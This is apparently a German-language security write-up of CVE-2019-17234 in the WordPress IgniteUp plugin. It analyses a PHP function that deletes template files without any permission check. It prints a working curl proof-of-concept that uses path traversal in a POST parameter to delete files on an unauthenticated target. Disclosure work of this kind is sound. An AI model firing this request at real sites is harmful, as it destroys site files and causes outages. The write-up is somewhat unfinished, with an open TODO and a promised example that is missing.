Wordpress IgniteUp Plugin-Sicherheitslücke

Das Wordpress IgniteUp Plugin v3.4 und darunter erlaubt entfernten, nicht authentifizierten Benutzern, potenziell beliebige Dateien auf dem Ziel-Webserver zu löschen, was möglicherweise einen Denial-of-Service-Angriff verursacht.

CVE-2019-17234 Zeitleiste

Die Sicherheitslücke wurde am 20. September 2019 an das wordpress.org-Team gemeldet, und am 08. November 2019 wurde eine neue Version des Plugins, 3.4.1, veröffentlicht.[3]

Hintergrund

IgniteUp ist ein beliebtes Wordpress-Plugin für die einfache Einrichtung und Verwaltung von Landingpages, um Benutzern mitzuteilen, dass die Website bald verfügbar ist, sich in Wartung befindet oder gerade gebaut wird.

Das Plugin wird standardmäßig mit 5 kostenlosen Standardvorlagen geliefert: believe,cleaner,glass,launcher,offline.

Die Vorlagennamen sind hervorgehoben, da ein korrekter Parameter [template-name] erforderlich ist, um eine gültige Anfrage an den Webserver zu senden und die Sicherheitslücke auszunutzen.

Exploit-Code (curl)

[WARNUNG]

Das folgende Beispielkommando könnte ausreichen, um Ihre Wordpress-Website zu beschädigen, in diesem Fall werden die Kerndateien des IgniteUp-Plugins gelöscht.

curl -d "action=admin_init&delete_template=[template-name]/../../" -X POST http(s)://[target-website]/wp-admin/admin-post.php

dummy example:
curl -d "action=admin_init&delete_template=believe/../../" -X POST http://localhost/wp-admin/admin-post.php

[HINWEIS] Das obige Kommando führt einen Verzeichniswechsel innerhalb des relativen Plugin-Pfads durch. Bei entsprechenden Berechtigungen (755 für Webserver-Verzeichnisse und 644 für Webserver-Dateien) und Chown-Einstellungen (www-data, apache-Benutzer usw.) ist die Angriffsfläche auf das Stammverzeichnis des Servers (z. B. /var/www/html) begrenzt.

Codeanalyse der Sicherheitslücke

Die Funktion, die diese Sicherheitslücke verursacht, wird unten hervorgehoben. Die Referenzdatei befindet sich unter wp-content/plugins/igniteup/includes/class-coming-soon-creator.php, einer Datei, die – wie der Name andeutet – die Erstellung neuer benutzerdefinierter Vorlagen sowie das Löschen der Standard- und erstellten Vorlagen verwaltet.

V3.4

add_action('admin_init', array($this, 'deleteTemplate'));
...
...
public function deleteTemplate()
{
   if (!isset($_POST['delete_template']) || empty($_POST['delete_template']))
      return;
   $folder_name = $_POST['delete_template'];
   $path = dirname(CSCS_FILE) . '/includes/templates/';
   array_map('unlink', glob($path . $folder_name . '/*.*'));
   rmdir($path . $folder_name);
   unlink($path . '/' . $folder_name . '.php');
   header('Location: ' . $_SERVER['REQUEST_URI']);
}

admin_init in der ersten Zeile ist ein Wordpress-Aktions-Hook. Hooks[2] bilden das Fundament für die Interaktion von Plugins und Themes mit dem WordPress-Core, werden aber auch vom Core selbst ausgiebig genutzt.

Leider verfügt die mit dem Aktions-Hook verbundene Funktion deleteTemplate() über keine Administrator-/Benutzerprüfungen. Sie liefert dem Leser genügend Hinweise, wie eine solche Aktion ausgeführt werden kann. Beim Betrachten des Codes ist es trivial, den PHP-POST-Parameter delete_template zu erkennen. Zusammen mit der admin_init-Hook-Aktion ist dies genug Wissen, um einen POST-Request an den Webserver über die Schnittstelle /wp-admin/admin-post.php zu senden, wie im Abschnitt zum Exploit-Code dargelegt.

[PERSÖNLICHE ANMERKUNG] Analysiert man das übliche Verhalten des Plugins aus der Perspektive eines Wordpress-Administrators, ist es ziemlich seltsam, diese Funktion zu finden (ich vermute, es handelt sich um einen Überrest aus früheren Versionen), und zwar aus folgenden Gründen:

1. Auf v3.4 ist keine Option zum Löschen von Vorlagen im Admin-Panel verfügbar, nur Plugin-Aktivierung/-Deaktivierung oder „Erstellung“ (Download) von Premium-Vorlagen ($$$).
2. Das Verhalten des Codes ist grundsätzlich falsch: Die Funktion unlink() wird unter normalen Umständen niemals korrekt ausgeführt, da in der Erstellung der Funktionsparameter der '/' zwischen $path und $folder_name nicht vorhanden sein sollte; in der Deklaration der Variable $path wurde bereits ein Backslash hinzugefügt.

Hier ein Beispiel dafür, was beim unlink passiert, wenn ich versuche, eine Vorlage per DirStroy zu zerstören.

TODO

admin-ajax.php testen v3.4.1-Vergleich

Autoren

• Andrea Vignudelli -(https://github.com/administra1tor)

Referenzen

• Ein Dank an Jerome Bruandet für das Melden des Problems.

[Quelle] https://blog.nintechnet.com/multiple-vulnerabilities-in-wordpress-igniteup-coming-soon-and-maintenance-mode-plugin/

[1] v3.4.1-Changelog- https://it.wordpress.org/plugins/igniteup/#developers

[2] Wordpress-Hooks- https://developer.wordpress.org/plugins/hooks/

[3] CVE-2019-17234 NIST-Referenz- https://nvd.nist.gov/vuln/detail/CVE-2019-17234